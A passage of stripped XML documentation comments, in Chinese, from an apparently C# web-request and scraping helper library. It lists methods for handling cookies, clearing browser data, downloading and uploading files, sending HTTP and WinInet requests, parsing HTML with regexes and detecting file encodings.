844 | 将 CookieContainer 对象转换为字符串类型
845 |
846 |
847 |
848 |
849 |
850 |
851 | 将文字Cookie转换为CookieContainer 对象
852 |
853 |
854 |
855 |
856 |
857 |
858 |
859 | 【不推荐使用】 推荐使用字符串方式维护Cookie
860 | 将StringCookie 添加到 CookieContainer对象中
861 | 当CookieContainer出现问题时请调用本方法修复 CookieContainer对象
862 | 更新失败时,返回原来的CookieContainer对象
863 |
864 |
865 | 需要更新的cookie_container
866 | 字符串cookie
867 | domain默认为空
868 |
869 |
870 |
871 |
872 | 设置cookie
873 |
874 |
875 |
876 |
877 | 获取cookie
878 |
879 |
880 |
881 |
882 | 设置IE cookie
883 |
884 | URL
885 | Cookie
886 |
887 |
888 |
889 | 删除IE COOKIE
890 |
891 |
892 |
893 |
894 | 删除一个文件,System.IO.File.Delete()函数不可以删除只读文件,这个函数可以强行把只读文件删除。
895 |
896 | 文件路径
897 | 成功为true
898 |
899 |
900 |
901 | 删除文件夹
902 |
903 | 文件夹路径
904 |
905 |
906 |
907 | 删除历史记录 Win7+ 需要管理员权限
908 |
909 |
910 |
911 |
912 | 删除临时文件 Win7+ 需要管理员权限
913 |
914 |
915 |
916 |
917 | 删除Cookie文件 Win7+ 需要管理员权限
918 |
919 |
920 |
921 |
922 | 删除全部 历史记录,Cookie,临时文件
923 |
924 |
925 |
926 |
927 | 调用CMD执行命令
928 |
929 |
930 |
931 |
932 |
933 | 执行js代码(JS代码,参数,调用方法名,方法名[默认Eval 可选Run])
934 |
935 | JS代码
936 | 参数
937 | 调用方法名
938 | 方法名:默认Eval 可选Run
939 |
940 |
941 |
942 |
943 | 打开指定URL openType:0使用IE打开,!=0 使用默认浏览器打开
944 |
945 | 需要打开的地址
946 | 0使用IE,其他使用默认
947 |
948 |
949 |
950 | 字符串MD5加密
951 |
952 |
953 |
954 |
955 |
956 |
957 | 获取所有的A标签
958 |
959 | 要分析的Html代码
960 | 返回一个List存储所有的A标签
961 |
962 |
963 |
964 | 获取所有的Img标签
965 |
966 | 要分析的Html代码
967 | 返回一个List存储所有的Img标签
968 |
969 |
970 |
971 | 过滤html标签
972 |
973 | html的内容
974 | 处理后的文本
975 |
976 |
977 |
978 | 过滤html中所有的换行符号
979 |
980 | html的内容
981 | 处理后的文本
982 |
983 |
984 |
985 | 提取网页Title
986 |
987 | Html
988 | 返回Title
989 |
990 |
991 |
992 | 文件下载[如果连接不是绝对路径存在跳转默认会自动跳转]
993 | 会自动分析协议头中的filename
994 | 如果分析失败则直接存储为默认名[默认为:.zip格式].
995 | 成功返回true;
996 |
997 | 下载地址
998 | 保存绝对路径 如:c://download//
999 | Cookie
1000 | 默认后缀
1001 |
1002 |
1003 |
1004 |
1005 | 文件下载[如果连接不是绝对路径存在跳转默认会自动跳转]
1006 | 会自动分析协议头中的filename
1007 | 如果分析失败则直接存储为默认名[默认为:.zip格式].
1008 | 成功返回true;
1009 |
1010 | 下载地址
1011 | 保存绝对路径 如:c://download//
1012 | Ref Cookie 返回处理后的Cookie可再次使用
1013 | 编码默认utf8
1014 | 默认后缀[zip]
1015 |
1016 |
1017 |
1018 |
1019 | WebClient Post 上传
1020 | 用于上传类型为multipart/form-data
1021 | 如果上传失败,请检查协议头是否有自定义协议头.如Ajax头
1022 |
1023 | 上传地址
1024 | referer
1025 |
1026 | Cookie
1027 | 编码默认utf8
1028 |
1029 |
1030 |
1031 |
1032 | 普通请求.直接返回标准结果
1033 |
1034 | 请求的URL
1035 | 返回结果
1036 |
1037 |
1038 |
1039 | 普通请求.直接返回标准结果
1040 |
1041 | 请求的URL
1042 | 代理IP地址
1043 |
1044 |
1045 |
1046 |
1047 | 普通请求.直接返回标准结果
1048 |
1049 | 请求的URL
1050 | 当前Cookie
1051 |
1052 |
1053 |
1054 |
1055 | 普通请求.直接返回标准结果
1056 |
1057 | 请求的URL
1058 | 当前Cookie
1059 | 代理IP地址
1060 |
1061 |
1062 |
1063 |
1064 | 普通请求.直接返回标准结果
1065 |
1066 | 图片请求地址
1067 | 上一次请求地址
1068 | 当前Cookie
1069 |
1070 |
1071 |
1072 |
1073 | 普通请求.直接返回Image格式图像
1074 |
1075 | 图片请求地址
1076 | 上一次请求地址
1077 | 当前Cookie
1078 |
1079 |
1080 |
1081 |
1082 | 普通请求.直接返回标准结果
1083 |
1084 | post地址
1085 | 上一次请求地址
1086 | 请求数据
1087 | 是否需要异步标识
1088 | 当前Cookie
1089 |
1090 |
1091 |
1092 |
1093 | 异步POST请求 通过回调返回结果
1094 |
1095 | 请求项
1096 | 回调地址
1097 |
1098 |
1099 |
1100 | 异步GET请求 通过回调返回结果
1101 |
1102 | 请求项
1103 | 回调地址
1104 |
1105 |
1106 |
1107 | WinInet方式GET请求 直接返回网页内容
1108 |
1109 | 请求地址
1110 |
1111 |
1112 |
1113 |
1114 | WinInet方式GET请求(UTF8) 直接返回网页内容
1115 |
1116 | 请求地址
1117 |
1118 |
1119 |
1120 |
1121 | WinInet方式POST请求 直接返回网页内容
1122 |
1123 | 提交地址
1124 | 提交内容
1125 |
1126 |
1127 |
1128 |
1129 | WinInet方式POST请求 直接返回网页内容
1130 |
1131 | 提交地址
1132 | 提交内容
1133 |
1134 |
1135 |
1136 |
1137 | WinInet方式请求 图片 直接返回Image
1138 |
1139 | 提交地址
1140 |
1141 |
1142 |
1143 |
1144 | 正则表达式静态类
1145 |
1146 |
1147 |
1148 |
1149 | 获取所有的A链接
1150 |
1151 |
1152 |
1153 |
1154 | 获取所有的Img标签
1155 |
1156 |
1157 |
1158 |
1159 | 所有的Nscript
1160 |
1161 |
1162 |
1163 |
1164 | 所有的Style
1165 |
1166 |
1167 |
1168 |
1169 | 所有的Script
1170 |
1171 |
1172 |
1173 |
1174 | 所有的Html
1175 |
1176 |
1177 |
1178 |
1179 | 换行符号
1180 |
1181 |
1182 |
1183 |
1184 | 获取网页编码
1185 |
1186 |
1187 |
1188 |
1189 | 所有Html
1190 |
1191 |
1192 |
1193 |
1194 | title
1195 |
1196 |
1197 |
1198 |
1199 | 图片对象
1200 |
1201 |
1202 |
1203 |
1204 | 图片网址
1205 |
1206 |
1207 |
1208 |
1209 | 图片标签Html
1210 |
1211 |
1212 |
1213 |
1214 | A连接对象
1215 |
1216 |
1217 |
1218 |
1219 | 链接地址
1220 |
1221 |
1222 |
1223 |
1224 | 链接文本
1225 |
1226 |
1227 |
1228 |
1229 | 链接的图片
1230 |
1231 |
1232 |
1233 |
1234 | 整个连接Html
1235 |
1236 |
1237 |
1238 |
1239 | A链接的类型 文本/图像
1240 |
1241 |
1242 |
1243 |
1244 | A 标签类型
1245 |
1246 |
1247 |
1248 |
1249 | 文本链接(默认)
1250 |
1251 |
1252 |
1253 |
1254 | 图片链接
1255 |
1256 |
1257 |
1258 |
1259 | 从流识别编码
1260 |
1261 |
1262 |
1263 |
1264 | 取得一个文本文件的编码方式。如果无法在文件头部找到有效的前导符,Encoding.Default将被返回。
1265 |
1266 | 文件名。
1267 |
1268 |
1269 |
1270 |
1271 | 取得一个文本文件流的编码方式。
1272 |
1273 | 文本文件流。
1274 |
1275 |
1276 |
1277 |
1278 | 取得一个文本文件的编码方式。
1279 |
1280 | 文件名。
1281 | 默认编码方式。当该方法无法从文件的头部取得有效的前导符时,将返回该编码方式。
1282 |
1283 |
1284 |
1285 |
1286 | 取得一个文本文件流的编码方式。
1287 |
1288 | 文本文件流。
1289 | 默认编码方式。当该方法无法从文件的头部取得有效的前导符时,将返回该编码方式。
1290 |
1291 |
1292 |
1293 |
1294 | 通过给定的文件流,判断文件的编码类型
1295 |
1296 | 文件流
1297 | 文件的编码类型
1298 |
1299 |
1300 |
1301 | 判断是否是不带 BOM 的 UTF8 格式
1302 |
1303 |
1304 |
1305 |
1306 |
1307 |
1308 |
--------------------------------------------------------------------------------